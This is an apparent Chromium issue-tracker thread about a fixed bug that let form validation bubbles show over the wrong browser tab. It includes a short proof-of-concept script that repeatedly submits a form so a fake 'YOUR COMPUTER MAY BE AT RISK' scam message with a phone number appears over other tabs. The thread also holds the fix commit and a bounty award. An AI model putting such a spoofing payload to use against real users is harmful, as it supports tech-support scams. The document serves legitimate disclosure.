Confirmed in 57.2946. This is a UX bug whereby form field validation bubbles can appear over the wrong tab.

function test(){
aaa = document.getElementById("aaa");
aaa.style.opacity = '0';
aaa.oninvalid = function (e) {
e.target.setCustomValidity("WARNING!\nYOUR COMPUTER MAY BE AT RISK.\nCALL: 800-111-2222");
};
setInterval("document.getElementById('bbb').click()",1000);
}
</script>
<form>
    <input placeholder="aaa" required id="aaa" />
    <input id='bbb' type="submit" name="submit">
</form>

Possibly related to  Issue 516694 .

Correcting the UX tags, so hopefully the Enamel team will see this.

Per Enamel folks, the Security>UX component is officially deprecated and the Team-Security-UX label should be used instead.

Though Bugdroid didn't notify a commit, [1] fixed this issue.

[1] https://crrev.com/a8e17a3031b6ad69c399e5e04dd0084e577097fc

+ awhalley@ for merge review.

[Automated comment] Request affecting a post-stable build (M55), manual review required.

Your change meets the bar and is auto-approved for M56 (branch: 2924)

The following revision refers to this bug:
  https://chromium.googlesource.com/chromium/src.git/+/3839b3cc636bc10b5385a4f618e5b6ccfac4466b

commit 3839b3cc636bc10b5385a4f618e5b6ccfac4466b
Author: Kent Tamura <tkent@chromium.org>
Date: Fri Dec 16 05:56:33 2016

Merge "Form validation: Do not show validation bubble if the page is invisible." to M56 branch

BUG= 673163 

Review-Url: https://codereview.chromium.org/2572813003
Cr-Commit-Position: refs/heads/master@{#438476}
(cherry picked from commit a8e17a3031b6ad69c399e5e04dd0084e577097fc)

Review-Url: https://codereview.chromium.org/2585473004 .
Cr-Commit-Position: refs/branch-heads/2924@{#523}
Cr-Branched-From: 3a87aecc31cd1ffe751dd72c04e5a96a1fc8108a-refs/heads/master@{#433059}

[modify] https://crrev.com/3839b3cc636bc10b5385a4f618e5b6ccfac4466b/third_party/WebKit/Source/core/html/HTMLFormControlElement.cpp

Many thanks for the report.  The panel decided to reward $1,000 for this bug.  A member of our finance team will reach out shortly.

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This bug has been closed for more than 14 weeks. Removing security view restrictions.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot